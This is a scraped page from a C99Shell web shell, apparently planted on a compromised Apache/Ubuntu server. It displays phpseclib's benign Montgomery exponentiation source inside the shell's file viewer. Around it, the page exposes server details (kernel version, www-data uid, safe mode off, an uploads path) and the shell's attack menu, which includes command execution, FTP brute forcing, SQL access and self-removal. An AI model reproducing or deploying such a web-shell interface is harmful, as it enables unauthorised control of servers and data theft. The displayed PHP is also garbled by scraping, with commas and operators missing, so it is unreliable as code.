!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpseclib/phpseclib/phpseclib/Math/BigInteger/Engines/PHP/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Montgomery.php (2.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * PHP Montgomery Modular Exponentiation Engine
 *
 * PHP version 5 and 7
 *
 * @category  Math
 * @package   BigInteger
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2017 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://pear.php.net/package/Math_BigInteger
 */

namespace phpseclib3\Math\BigInteger\Engines\PHP;

use 
phpseclib3\Math\BigInteger\Engines\PHP\Reductions\PowerOfTwo;
use 
phpseclib3\Math\BigInteger\Engines\PHP;
use 
phpseclib3\Math\BigInteger\Engines\PHP\Base;
use 
phpseclib3\Math\BigInteger\Engines\Engine;

/**
 * PHP Montgomery Modular Exponentiation Engine
 *
 * @package PHP
 * @author  Jim Wigginton <terrafrost@php.net>
 * @access  public
 */
abstract class Montgomery extends Base
{
    
/**
     * Test for engine validity
     *
     * @return bool
     */
    
public static function isValidEngine()
    {
        return static::class != 
__CLASS__;
    }

    
/**
     * Performs modular exponentiation.
     *
     * @param \phpseclib3\Math\BigInteger\Engines\Engine $x
     * @param \phpseclib3\Math\BigInteger\Engines\Engine $e
     * @param \phpseclib3\Math\BigInteger\Engines\Engine $n
     * @param string $class
     * @return \phpseclib3\Math\BigInteger\Engines\Engine
     */
    
protected static function slidingWindow(Engine $xEngine $eEngine $n$class)
    {
        
// is the modulo odd?
        
if ($n->value[0] & 1) {
            return 
parent::slidingWindow($x$e$n$class);
        }
        
// if it's not, it's even

        // find the lowest set bit (eg. the max pow of 2 that divides $n)
        
for ($i 0$i count($n->value); ++$i) {
            if (
$n->value[$i]) {
                
$temp decbin($n->value[$i]);
                
$j strlen($temp) - strrpos($temp'1') - 1;
                
$j+= $class::BASE $i;
                break;
            }
        }
        
// at this point, 2^$j * $n/(2^$j) == $n

        
$mod1 = clone $n;
        
$mod1->rshift($j);
        
$mod2 = new $class();
        
$mod2->value = [1];
        
$mod2->lshift($j);

        
$part1 $mod1->value != [1] ? parent::slidingWindow($x$e$mod1$class) : new $class();
        
$part2 PowerOfTwo::slidingWindow($x$e$mod2$class);

        
$y1 $mod2->modInverse($mod1);
        
$y2 $mod1->modInverse($mod2);

        
$result $part1->multiply($mod2);
        
$result $result->multiply($y1);

        
$temp $part2->multiply($mod1);
        
$temp $temp->multiply($y2);

        
$result $result->add($temp);
        list(, 
$result) = $result->divide($n);

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--